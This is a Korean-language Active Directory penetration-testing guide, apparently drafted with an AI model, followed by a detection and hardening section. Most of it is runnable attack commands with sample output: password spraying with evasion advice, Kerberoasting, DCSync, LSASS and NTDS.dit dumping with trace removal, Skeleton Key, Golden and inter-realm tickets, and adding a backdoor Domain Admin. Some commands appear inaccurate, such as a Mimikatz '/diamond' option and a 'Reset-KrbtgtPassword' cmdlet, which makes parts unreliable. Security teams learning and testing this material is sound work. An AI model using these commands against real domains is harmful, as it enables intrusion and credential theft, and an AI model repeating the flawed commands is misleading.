Claude를 통해 1차 작성한 내용으로 공부해나가며 수정할 예정임
🔒 Active Directory 모의해킹 완벽 가이드
실전 침투 테스트를 위한 종합 매뉴얼
⚠️ 법적 고지 사항
이 문서의 모든 내용은 오직 교육 및 합법적인 모의해킹 목적으로만 사용되어야 합니다.
- 무단으로 타인의 시스템에 접근하는 것은 명백한 범죄 행위입니다
- 모든 침투 테스트는 사전 서면 승인을 받아야 합니다
- 테스트 범위, 기간, 방법에 대한 명확한 계약이 필요합니다
- 본 자료를 악용하여 발생하는 모든 법적 책임은 사용자 본인에게 있습니다
📑 목차
1. Active Directory 모의침투 개요
Active Directory는 대부분의 기업 환경에서 사용되는 중앙 집중식 인증 및 권한 관리 시스템입니다. AD 환경의 보안 취약점을 이해하고 평가하는 것은 기업 보안에서 매우 중요합니다.
AD 공격의 목표
초기 접근 확보
피싱, 패스워드 스프레이, 취약점 악용 등을 통해 도메인 내부로 침투
권한 상승
일반 사용자에서 로컬 관리자, 도메인 사용자, 최종적으로 도메인 관리자로 권한 확대
지속성 확보
Golden Ticket, 백도어 계정 등을 통해 장기간 접근 권한 유지
측면 이동
도메인 내 다른 시스템으로 확산하여 전체 네트워크 장악
MITRE ATT&CK 프레임워크
AD 공격은 MITRE ATT&CK 프레임워크의 다음 전술들을 포함합니다:
| 전술 (Tactic) | 설명 | 주요 기법 |
|---|---|---|
| Reconnaissance | 목표 시스템 정보 수집 | DNS 조회, OSINT, 네트워크 스캔 |
| Initial Access | 네트워크 초기 진입 | 피싱, Password Spray, 공개 서비스 악용 |
| Execution | 악성 코드 실행 | PowerShell, WMI, Scheduled Tasks |
| Persistence | 지속적 접근 유지 | Golden Ticket, 백도어 계정, GPO 악용 |
| Privilege Escalation | 권한 상승 | Kerberoasting, AS-REP Roasting, Token Impersonation |
| Credential Access | 자격증명 탈취 | DCSync, LSASS 덤프, NTDS.dit 추출 |
| Lateral Movement | 네트워크 내 이동 | Pass-the-Hash, Pass-the-Ticket, RDP |
2. 정찰 및 초기 정보 수집
외부 정찰 (External Reconnaissance)
DNS 열거
도메인 컨트롤러와 서비스를 찾기 위한 DNS 쿼리:
# 도메인 컨트롤러 찾기
nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.com
# Kerberos 서비스 찾기
nslookup -type=SRV _kerberos._tcp.dc._msdcs.domain.com
# 모든 DNS 레코드
dig any domain.com
# DNS 존 전송 시도 (취약한 경우)
dig axfr @ns1.domain.com domain.com
OSINT (Open Source Intelligence)
정보 수집 대상
- LinkedIn: 직원 정보, 조직 구조, 이메일 형식 파악
- 회사 웹사이트: 사용 기술 스택, 파트너사, 지사 위치
- Shodan/Censys: 노출된 서비스 및 포트 검색
- GitHub: 실수로 유출된 자격증명, 설정 파일
- Pastebin: 데이터 유출 정보 확인
내부 네트워크 정찰
네트워크 스캔
# AD 관련 포트 스캔
nmap -sC -sV -p 88,135,139,389,445,636,3268,3269 192.168.1.10
# 결과 예시:
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds Microsoft Windows Server 2019
3268/tcp open ldap Microsoft Windows Active Directory LDAP
# SMB 공유 열거
smbclient -L //192.168.1.10 -N
# CrackMapExec로 네트워크 스캔
crackmapexec smb 192.168.1.0/24
LLMNR/NBT-NS Poisoning
로컬 네트워크에서 자격증명을 수동적으로 수집하는 기법:
# Responder 실행
responder -I eth0 -wrf
[+] Listening for events...
# NTLMv2 해시 획득
[HTTP] NTLMv2 Client : 192.168.1.105
[HTTP] NTLMv2 Username : DOMAIN\user
[HTTP] NTLMv2 Hash : user::DOMAIN:1122334455667788:ABC123...
# 해시 크래킹
hashcat -m 5600 hash.txt rockyou.txt
💡 LLMNR/NBT-NS란?
LLMNR(Link-Local Multicast Name Resolution)과 NBT-NS(NetBIOS Name Service)는 DNS가 실패했을 때 로컬 네트워크에서 이름 해석을 위해 사용됩니다. 공격자는 이러한 요청에 응답하여 사용자를 자신의 시스템으로 리다이렉트하고 자격증명을 탈취할 수 있습니다.
3. 초기 접근 (Initial Access)
방법 1: 패스워드 스프레이 (Password Spraying)
일반적인 약한 패스워드로 여러 계정에 시도하는 기법입니다. 계정 잠금을 피하기 위해 천천히 시도합니다.
# CrackMapExec 사용
crackmapexec smb 192.168.1.10 -u users.txt -p 'Spring2024!' --continue-on-success
# Kerbrute 사용 (더 은밀함)
kerbrute passwordspray -d domain.local users.txt 'Welcome123!'
# PowerShell을 이용한 패스워드 스프레이
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password "Summer2024!"
🎯 일반적인 약한 패스워드 패턴
- 계절+연도+특수문자: Spring2024!, Summer2024!, Winter2025!
- 회사명+숫자: Company123!, CompanyName2024!
- 기본 패스워드: Password1!, Welcome123!, Changeme123!
- 월+연도: January2024!, Feb2024!
⚠️ 주의사항
- 계정 잠금 정책 확인 (보통 5회 실패 시 잠금)
- 천천히 시도하여 탐지 회피 (계정당 1-2시간 간격)
- 타겟 조직의 업무 시간 고려
- 여러 IP에서 분산하여 시도
방법 2: AS-REP Roasting
Kerberos 사전 인증이 비활성화된 계정을 공격하는 기법입니다.
# PowerView로 취약한 계정 찾기
Get-DomainUser -PreauthNotRequired | select samaccountname
# Rubeus로 AS-REP 해시 요청
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# Impacket (Linux)
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 192.168.1.10
# 해시 크래킹
hashcat -m 18200 asrep.txt rockyou.txt
💡 AS-REP Roasting 원리
Kerberos 인증의 첫 단계(AS-REQ)에서 사전 인증이 비활성화된 경우, 공격자는 패스워드 없이도 해당 사용자의 AS-REP 응답을 받을 수 있습니다. 이 응답은 사용자의 패스워드 해시로 암호화되어 있어 오프라인에서 크래킹할 수 있습니다.
방법 3: NTLM Relay 공격
SMB Signing이 비활성화된 호스트를 대상으로 NTLM 인증을 릴레이하는 공격입니다.
# SMB Signing 확인
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
# ntlmrelayx 실행
ntlmrelayx.py -tf relay_targets.txt -smb2support
# Responder와 함께 사용
# Terminal 1: Responder
responder -I eth0 -wrf
# Terminal 2: ntlmrelayx
ntlmrelayx.py -tf targets.txt -c "whoami"
4. 권한 상승 (Privilege Escalation)
Kerberoasting
서비스 계정의 TGS 티켓을 요청하고 오프라인에서 크래킹하는 공격입니다.
# PowerView로 서비스 계정 찾기
Get-DomainUser -SPN | select samaccountname, serviceprincipalname
samaccountname serviceprincipalname
-------------- --------------------
sqlservice MSSQLSvc/sql01.domain.local:1433
webservice HTTP/web01.domain.local
# Rubeus로 Kerberoast
Rubeus.exe kerberoast /outfile:hashes.txt
# Impacket 사용 (Linux)
GetUserSPNs.py domain.local/user:password -dc-ip 192.168.1.10 -request
# 해시 크래킹
hashcat -m 13100 hashes.txt rockyou.txt --force
john --wordlist=rockyou.txt hashes.txt
Unconstrained Delegation 악용
무제한 위임이 설정된 시스템에서 관리자 티켓을 탈취하는 기법입니다.
# 무제한 위임이 설정된 컴퓨터 찾기
Get-DomainComputer -Unconstrained | select samaccountname
# Rubeus로 티켓 모니터링
Rubeus.exe monitor /interval:5
# 도메인 관리자가 해당 시스템에 접속하도록 유도
# (예: 프린터 스풀러 버그, Coercer 등)
# TGT 획득 후 주입
Rubeus.exe ptt /ticket:admin_tgt.kirbi
Constrained Delegation 악용
제한된 위임을 악용하여 특정 서비스로 사용자를 가장하는 공격입니다.
# 제한된 위임이 설정된 계정 찾기
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
# Rubeus를 이용한 S4U 공격
Rubeus.exe s4u /user:serviceaccount /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
# 이제 Administrator로 대상 서버 접근 가능
dir \\target\c$
ACL 악용
과도한 권한이 부여된 ACL(Access Control List)을 악용하는 기법입니다.
# 흥미로운 ACL 찾기
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match "user"}
# GenericAll 권한으로 패스워드 변경
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)
# WriteDACL로 DCSync 권한 추가
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity attacker -Rights DCSync
# GenericWrite로 SPN 추가 (Targeted Kerberoasting)
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/service'}
주요 ACL 권한
- GenericAll: 대상 객체에 대한 모든 권한 (패스워드 변경, 삭제 등)
- GenericWrite: 대상 객체의 속성 수정 가능
- WriteProperty: 특정 속성 쓰기 가능
- WriteDacl: ACL 자체를 수정 가능 (가장 위험!)
- WriteOwner: 객체의 소유자 변경 가능
5. 자격증명 탈취 (Credential Access)
DCSync 공격
도메인 컨트롤러인 것처럼 가장하여 AD 복제 프로토콜을 통해 패스워드 해시를 원격으로 추출하는 공격입니다.
💡 DCSync 원리
Active Directory는 여러 DC 간에 데이터를 복제하기 위해 DRS(Directory Replication Service) 프로토콜을 사용합니다. DCSync는 이 정상적인 복제 메커니즘을 악용하여 공격자가 DC인 것처럼 위장하고 사용자 패스워드 해시를 요청합니다.
# Mimikatz로 특정 사용자 해시 추출
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator
# krbtgt 계정 추출 (Golden Ticket용)
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
# Impacket 사용 (Linux)
secretsdump.py domain.local/admin:password@192.168.1.10
DCSync에 필요한 권한
- Replicating Directory Changes
- Replicating Directory Changes All
- Replicating Directory Changes In Filtered Set (선택사항)
기본적으로 이 권한을 가진 그룹: Domain Admins, Enterprise Admins, Administrators, Domain Controllers
NTDS.dit 추출
도메인 컨트롤러의 AD 데이터베이스 파일을 직접 추출하는 방법입니다.
# Volume Shadow Copy 생성
vssadmin create shadow /for=C:
# NTDS.dit 및 SYSTEM 레지스트리 복사
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system
# Shadow Copy 삭제 (흔적 제거)
vssadmin delete shadows /shadow={shadow-id}
# 오프라인 추출 (공격자 시스템)
secretsdump.py -ntds ntds.dit -system system LOCAL > hashes.txt
LSASS 메모리 덤프
로컬 시스템에서 LSASS 프로세스 메모리를 덤프하여 자격증명을 추출합니다.
# Procdump 사용 (Microsoft 서명, 탐지 회피)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Rundll32 사용
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\temp\lsass.dmp full
# 공격자 시스템에서 분석
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
6. 측면 이동 (Lateral Movement)
Pass-the-Hash (PtH)
평문 패스워드 없이 NTLM 해시만으로 인증하는 기법입니다.
# CrackMapExec 사용
crackmapexec smb 192.168.1.0/24 -u Administrator -H <NTLM_hash> --local-auth
# Impacket psexec
psexec.py -hashes :<NTLM_hash> domain/admin@target
# Evil-WinRM
evil-winrm -i target -u Administrator -H <NTLM_hash>
Pass-the-Ticket (PtT)
Kerberos 티켓을 추출하여 다른 세션에서 재사용하는 기법입니다.
# 티켓 추출
mimikatz # sekurlsa::tickets /export
# 티켓 주입
mimikatz # kerberos::ptt ticket.kirbi
# Rubeus 사용
Rubeus.exe dump
Rubeus.exe ptt /ticket:ticket.kirbi
# 티켓 확인
klist
Overpass-the-Hash (Pass-the-Key)
NTLM 해시나 AES 키로 Kerberos TGT를 요청하는 기법입니다.
# RC4 (NTLM 해시) 사용
mimikatz # sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<hash> /run:powershell.exe
# AES 키 사용 (더 은밀함)
mimikatz # sekurlsa::pth /user:Administrator /domain:domain.local /aes256:<aes_key> /run:cmd.exe
WMI를 통한 원격 실행
# PowerShell WMI
$cred = Get-Credential
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName target -Credential $cred
# wmiexec (Impacket)
wmiexec.py domain/user:password@target
PSExec
# Sysinternals PSExec
psexec.exe \\target -u domain\user -p password cmd.exe
# Impacket psexec
psexec.py domain/user:password@target
# CrackMapExec로 여러 호스트에 동시 실행
crackmapexec smb targets.txt -u admin -H <hash> -x "whoami"
7. Mimikatz를 활용한 고급 공격
Mimikatz 소개
Mimikatz는 Benjamin Delpy가 개발한 Windows 보안 취약점 연구 도구로, AD 환경에서 가장 강력한 공격 도구 중 하나입니다.
주요 기능
- 메모리에서 자격증명 추출 (평문 패스워드, 해시, 티켓)
- Kerberos 티켓 조작 (Golden Ticket, Silver Ticket)
- Pass-the-Hash, Pass-the-Ticket 공격
- SAM/LSA Secrets 덤프
- 인증서 추출 및 악용
Mimikatz 실행 및 권한 획득
# Mimikatz 실행
mimikatz.exe
# 디버그 권한 획득 (필수)
mimikatz # privilege::debug
Privilege '20' OK
# SYSTEM 권한으로 상승
mimikatz # token::elevate
# 현재 권한 확인
mimikatz # privilege::id
메모리에서 자격증명 덤프
# 모든 로그온 세션의 자격증명 추출
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 996123
Session : Interactive from 2
User Name : administrator
Domain : DOMAIN
Logon Server : DC01
Logon Time : 10/20/2025 9:15:23 AM
SID : S-1-5-21-...-500
msv :
[00000003] Primary
* Username : administrator
* Domain : DOMAIN
* NTLM : 32ed87bdb5fdc5e9cba88547376818d4
kerberos :
* Username : administrator
* Domain : DOMAIN.LOCAL
* Password : P@ssw0rd123!
Kerberos 티켓 추출 및 주입
# 현재 세션의 모든 티켓 추출
mimikatz # sekurlsa::tickets /export
* Saved to file: 0-00000000-administrator@krbtgt-DOMAIN.LOCAL.kirbi
* Saved to file: 0-00000000-administrator@cifs-SERVER01.kirbi
# 티켓 주입 (Pass-the-Ticket)
mimikatz # kerberos::ptt ticket.kirbi
# 현재 티켓 확인
mimikatz # kerberos::list
# 모든 티켓 삭제
mimikatz # kerberos::purge
SAM 및 LSA Secrets 덤프
# SAM 데이터베이스 덤프 (로컬 계정)
mimikatz # lsadump::sam
Domain : WORKSTATION
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4
# LSA Secrets 덤프
mimikatz # lsadump::secrets
Secret : DefaultPassword
cur/text: P@ssw0rd123!
Secret : $MACHINE.ACC
NTLM:32ed87bdb5fdc5e9cba88547376818d4
DCSync 공격
# 특정 사용자 해시 추출
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator
# krbtgt 계정 추출 (Golden Ticket용)
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
Object RDN : krbtgt
SAM Username : krbtgt
Object Security ID : S-1-5-21-...-502
Credentials:
Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4
* Primary:Kerberos-Newer-Keys *
aes256_hmac (4096) : a1b2c3d4e5f6789abcdef...
Skeleton Key 공격
DC의 LSASS에 백도어 패치를 주입하여 모든 사용자에게 작동하는 마스터 패스워드를 생성합니다.
# DC에서 실행
mimikatz # privilege::debug
mimikatz # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
# 이제 모든 사용자에게 "mimikatz" 패스워드 사용 가능
net use \\DC01\C$ /user:domain\anyuser mimikatz
⚠️ Skeleton Key 특징
- 기존 패스워드는 계속 작동
- 재부팅 시 사라짐 (메모리 패치)
- 탐지: Event ID 7045 (새로운 서비스 설치)
8. Golden Ticket 심층 분석
Golden Ticket이란?
Golden Ticket은 krbtgt 계정의 NTLM 해시를 사용하여 위조한 TGT(Ticket Granting Ticket)입니다. 이를 통해 도메인의 모든 리소스에 접근할 수 있으며, krbtgt 패스워드가 변경되기 전까지 무제한으로 유효합니다.
Kerberos 인증 메커니즘
💡 핵심 이해
TGT는 krbtgt 계정의 키로 암호화됩니다!
- 각 사용자의 패스워드 해시가 아님
- krbtgt 키 = 모든 TGT의 공통 암호화 키
- krbtgt 키를 알면 → 임의의 TGT 위조 가능
- KDC는 TGT의 서명만 확인하고, 내용의 진위는 확인하지 않음
Golden Ticket 생성 과정
1단계: 필요한 정보 수집
# 도메인 SID 획득
whoami /user
USER INFORMATION
User Name SID
=================== ==============================================
domain\administrator S-1-5-21-1234567890-1234567890-1234567890-500
└─────────────────┬──────────────────────┘
도메인 SID (RID 제거)
# PowerShell로 확인
Get-ADDomain | Select DomainSID
# krbtgt 해시 획득 (DCSync 필요)
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
Object RDN : krbtgt
SAM Username : krbtgt
Object Security ID : S-1-5-21-...-502
Credentials:
Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4 ← 이것이 필요!
* Primary:Kerberos-Newer-Keys *
aes256_hmac : a1b2c3d4e5f6789abcdef... ← AES 키 (권장)
2단계: Golden Ticket 생성
# 기본 Golden Ticket 생성
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:32ed87bdb5fdc5e9cba88547376818d4 /ptt
User : Administrator
Domain : domain.local (DOMAIN)
SID : S-1-5-21-1234567890-1234567890-1234567890
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 32ed87bdb5fdc5e9cba88547376818d4 - rc4_hmac_nt
Lifetime : 10/20/2025 2:30:15 PM ; 10/17/2035 2:30:15 PM
-> Ticket : ** Pass The Ticket **
Golden ticket successfully submitted for current session
고급 옵션
# 특정 그룹 멤버십 지정
mimikatz # kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... /krbtgt:32ed87bdb... /id:1105 /groups:512,513,518,519,520 /ptt
# 파라미터 설명:
# /id:1105 - 사용자 RID (임의 지정 가능)
# /groups:512,513 - 그룹 멤버십 RID
# 512: Domain Admins
# 513: Domain Users
# 518: Schema Admins
# 519: Enterprise Admins
# 520: Group Policy Creator Owners
# AES 키 사용 (더 은밀함, 권장)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /aes256:a1b2c3d4e5f6789... /ptt
# 유효기간 제어 (정상 TGT처럼 보이기)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:32ed87bdb... /startoffset:0 /endin:600 /renewmax:10080 /ptt
# /startoffset:0 - 시작 시간 오프셋 (분)
# /endin:600 - 만료 시간 (분) = 10시간
# /renewmax:10080 - 최대 갱신 시간 (분) = 7일
# 파일로 저장 (나중에 사용)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:32ed87bdb... /ticket:golden.kirbi
3단계: Golden Ticket 사용
# 티켓 확인
klist
Cached Tickets: (1)
#0> Client: Administrator @ domain.local
Server: krbtgt/domain.local @ domain.local
KerbTicket Encryption Type: RC4-HMAC-NT
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent
Start Time: 10/20/2025 2:30:15 (local)
End Time: 10/17/2035 2:30:15 (local) ← 10년 유효!
Renew Time: 10/17/2035 2:30:15 (local)
# DC 접근
dir \\DC01\C$
dir \\DC01\ADMIN$
# PSExec로 원격 접속
psexec.exe \\DC01 cmd.exe
# 새 Domain Admin 생성
net user backdoor P@ssw0rd123! /add /domain
net group "Domain Admins" backdoor /add /domain
왜 다른 사용자의 해시 없이 가능한가?
🔑 핵심 원리
TGT는 사용자의 해시가 아닌 krbtgt의 해시로 암호화됩니다!
정상 TGT vs Golden Ticket
| 구분 | 정상 TGT | Golden Ticket |
|---|---|---|
| 생성 주체 | KDC (Domain Controller) | 공격자 (Mimikatz) |
| 사용자 확인 | 실제 사용자 패스워드로 인증 | 확인 안 함 (임의의 사용자) |
| 암호화 키 | krbtgt 해시 | krbtgt 해시 (동일!) |
| 유효기간 | 기본 10시간 | 공격자가 임의 설정 (기본 10년) |
| 그룹 멤버십 | AD에서 조회한 실제 그룹 | 공격자가 임의 지정 (Domain Admins 등) |
| 존재하지 않는 사용자 | 불가능 | 가능! (KDC는 확인 안 함) |
KDC의 검증 과정
💡 왜 이렇게 설계되었나?
Kerberos의 설계 철학:
- 확장성: KDC가 모든 사용자 정보를 일일이 확인하지 않음
- 성능: 티켓 서명만 검증 (빠른 처리)
- 분산: DC 간 복제 부담 감소
하지만: krbtgt 유출 시 전체 도메인이 위험에 노출됩니다!
Inter-Realm Trust 공격
Forest 또는 Domain Trust 환경에서 SID History를 악용하여 상위 도메인으로 권한을 확대합니다.
# 환경:
# Parent Domain: corp.com
# Child Domain: dev.corp.com
# 1. Child 도메인의 krbtgt 해시 획득
mimikatz # lsadump::dcsync /domain:dev.corp.com /user:krbtgt
# 2. Parent 도메인 SID 확인
# corp.com SID: S-1-5-21-9876543210-9876543210-9876543210
# Enterprise Admins RID: 519
# → S-1-5-21-9876543210-9876543210-9876543210-519
# 3. SID History를 이용한 Golden Ticket
mimikatz # kerberos::golden /user:Administrator /domain:dev.corp.com /sid:S-1-5-21-1234567890-1234567890-1234567890 /sids:S-1-5-21-9876543210-9876543210-9876543210-519 /krbtgt:32ed87bdb... /ptt
# 4. 이제 전체 Forest 접근 가능!
dir \\DC-PARENT\C$
dir \\DC-PROD\C$
/sids 파라미터
/sids:S-1-5-21-...-519
- Extra SIDs (SID History)
- PAC에 추가 SID를 삽입
- Trust 경계를 넘어 권한 획득
- 원래는 도메인 마이그레이션용 기능
Diamond Ticket (개선된 Golden Ticket)
전통적인 Golden Ticket의 탐지 문제를 개선한 기법입니다.
Golden Ticket vs Diamond Ticket
| 특성 | Golden Ticket | Diamond Ticket |
|---|---|---|
| TGT 생성 | 오프라인 (DC 통신 없음) | 실제 DC에서 요청 후 수정 |
| Event 4768 | 없음 (의심스러움) | 있음 (정상처럼 보임) |
| 탐지 난이도 | 중간 | 높음 |
# Diamond Ticket 생성
mimikatz # kerberos::golden /user:normaluser /domain:domain.local /sid:S-1-5-21-... /krbtgt:32ed87bdb... /groups:512 /renewmax:7 /dc:DC01.domain.local /diamond /ptt
# /diamond 파라미터:
# - 실제 DC에서 TGT 요청 (Event 4768 생성)
# - 획득한 TGT의 PAC를 수정 (권한 상승)
# - krbtgt 키로 재서명
# - 로그는 정상처럼 보이지만 권한은 Domain Admin
9. 탐지 및 방어 전략
Golden Ticket 탐지
Event Log 분석
🔍 주요 Event ID
| Event ID | 설명 | 탐지 포인트 |
|---|---|---|
| 4768 | TGT 요청 | Golden Ticket은 이 로그가 없음 |
| 4769 | TGS 요청 | RC4 암호화 (0x17), 비정상 수명 |
| 4672 | 특수 권한 할당 | 존재하지 않는 계정 이름 |
| 4662 | 디렉토리 서비스 접근 | DCSync 공격 탐지 |
PowerShell 탐지 스크립트
# RC4 암호화 TGS 요청 탐지
$events = Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4769
} -MaxEvents 1000
$suspiciousTickets = $events | Where-Object {
$xml = [xml]$_.ToXml()
$ticketEncType = $xml.Event.EventData.Data |
Where-Object {$_.Name -eq 'TicketEncryptionType'} |
Select -ExpandProperty '#text'
# RC4-HMAC (0x17 = 23)
$ticketEncType -eq '0x17' -or $ticketEncType -eq '23'
}
$suspiciousTickets | ForEach-Object {
Write-Host "[!] Suspicious Ticket Request Detected!"
Write-Host " Time: $($_.TimeCreated)"
# 추가 분석...
}
# 존재하지 않는 사용자 탐지
$logonEvents = Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4769
StartTime=(Get-Date).AddHours(-1)
} | ForEach-Object {
$xml = [xml]$_.ToXml()
($xml.Event.EventData.Data |
Where-Object {$_.Name -eq 'TargetUserName'}).'#text'
} | Select -Unique
$adUsers = Get-ADUser -Filter * | Select -ExpandProperty SamAccountName
$ghostUsers = $logonEvents | Where-Object {
$_ -notin $adUsers -and $_ -notlike '*$'
}
if ($ghostUsers) {
Write-Host "[!!!] Golden Ticket Detected - Non-existent users:"
$ghostUsers | ForEach-Object {
Write-Host " - $_"
}
}
방어 전략
1. krbtgt 패스워드 관리
🛡️ krbtgt 패스워드 변경 절차
⚠️ 주의: 반드시 2단계로 나누어 진행!
# 1단계: 현재 krbtgt 패스워드 변경
Reset-KrbtgtPassword -TrimOldHistory
# 대기: 최대 TGT 수명 + 복제 시간 (11시간)
Start-Sleep -Hours 11
# 2단계: 이전 패스워드 완전 제거
Reset-KrbtgtPassword -TrimOldHistory -Force
# 왜 2번?
# - krbtgt는 2개의 패스워드 해시 유지 (현재, 이전)
# - Golden Ticket이 이전 해시로 생성되었을 수 있음
# - 2번 변경으로 둘 다 무효화
# 변경 주기 권장사항:
# - 정기: 년 2회
# - 침해 의심 시: 즉시
# - 침해 확인 시: 긴급 2단계 변경
2. RC4 암호화 비활성화
# GPO 설정 경로:
# Computer Configuration
# → Policies
# → Windows Settings
# → Security Settings
# → Local Policies
# → Security Options
# → Network security: Configure encryption types for Kerberos
# 체크할 항목:
# [✓] AES128_HMAC_SHA1
# [✓] AES256_HMAC_SHA1
# [ ] RC4_HMAC_MD5 ← 체크 해제!
# 레지스트리 직접 설정:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" /v SupportedEncryptionTypes /t REG_DWORD /d 0x18 /f
# 0x18 = 24 = 0x08 (AES128) + 0x10 (AES256)
3. Credential Guard 활성화
# Windows 10 Enterprise / Windows Server 2016 이상
bcdedit /set hypervisorlaunchtype auto
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=C:
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} path \Windows\System32\lsaiso.exe
# 재부팅 후 확인
Get-ComputerInfo | Select DeviceGuardSecurityServicesRunning
4. Protected Process Light (PPL) for LSASS
# LSASS를 보호 프로세스로 실행
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 재부팅 필요
shutdown /r /t 0
5. WDigest 비활성화
# 평문 패스워드 캐싱 방지
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 0 /f
6. Advanced Audit Policy
# Kerberos 인증 감사 활성화
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
# 계정 로그온 감사
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
# 디렉토리 서비스 접근 감사 (DCSync 탐지)
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
계층적 관리 모델 (Tiering Model)
🏗️ Microsoft Tier Model
PAW (Privileged Access Workstation)
PAW 구성 요소
- 전용 워크스테이션: 관리 업무 전용
- 격리: 인터넷 브라우징, 이메일 접근 불가
- 하드닝: 최소 권한, 애플리케이션 화이트리스트
- 모니터링: 모든 활동 로그 및 감사
- 접근 제어: JIT (Just-in-Time) 관리
SIEM 통합 탐지 규칙
Splunk 쿼리
# Golden Ticket 탐지 (RC4)
index=windows EventCode=4769 Ticket_Encryption_Type=0x17
| stats count by Account_Name, Service_Name, Client_Address
| where count > 10
# TGT 없는 TGS 탐지
index=windows (EventCode=4768 OR EventCode=4769)
| eval request_type=if(EventCode==4768,"TGT","TGS")
| stats values(request_type) as requests by Account_Name
| where requests="TGS" AND NOT requests="TGT"
# DCSync 탐지
index=windows EventCode=4662
(Object_Type="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR
Object_Type="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*")
| stats count by SubjectUserName, Computer
| where count > 5
Elastic (ELK) 쿼리
{
"query": {
"bool": {
"must": [
{"match": {"event.code": "4769"}},
{"match": {"winlog.event_data.TicketEncryptionType": "0x17"}}
],
"must_not": [
{"exists": {"field": "related.tgt_request"}}
]
}
},
"aggs": {
"suspicious_accounts": {
"terms": {
"field": "winlog.event_data.TargetUserName",
"size": 10
}
}
}
}
보안 도구 및 솔루션
권장 보안 도구
- BloodHound: AD 공격 경로 시각화 및 분석
- PingCastle: AD 보안 평가 및 취약점 스캔
- Purple Knight: AD 보안 태세 평가
- ADRecon: AD 정보 수집 및 분석
- CrowdStrike Falcon: EDR 솔루션
- Microsoft Defender for Identity: AD 전용 보안 솔루션
- Netwrix Auditor: AD 변경 감사
모의해킹 후 조치사항
즉시 조치
- 침해된 계정 비밀번호 변경
- 의심스러운 세션 종료
- krbtgt 패스워드 2회 변경
- 백도어 계정 삭제
단기 조치 (1주일 내)
- 모든 관리자 계정 패스워드 변경
- 불필요한 높은 권한 제거
- 로깅 및 모니터링 강화
- MFA 적용 확대
중기 조치 (1개월 내)
- Tier 모델 구현
- PAW 구축
- GPO 강화
- 취약점 패치
장기 조치 (3개월 내)
- EDR/XDR 솔루션 도입
- SIEM 통합 및 최적화
- 보안 인식 교육 프로그램
- 정기 모의해킹 계획
체크리스트
✅ AD 보안 체크리스트
| 항목 | 우선순위 | 상태 |
|---|---|---|
| krbtgt 패스워드 정기 변경 (년 2회) | 높음 | ☐ |
| RC4 암호화 비활성화 | 높음 | ☐ |
| Credential Guard 활성화 | 높음 | ☐ |
| LSASS PPL 활성화 | 높음 | ☐ |
| 관리자 계정 MFA 적용 | 높음 | ☐ |
| Tier 모델 구현 | 중간 | ☐ |
| PAW 구축 | 중간 | ☐ |
| Advanced Audit Policy 적용 | 중간 | ☐ |
| 불필요한 높은 권한 제거 | 중간 | ☐ |
| SIEM 통합 및 알림 설정 | 중간 | ☐ |
| 정기 보안 교육 | 낮음 | ☐ |
| BloodHound 정기 분석 | 낮음 | ☐ |
마무리
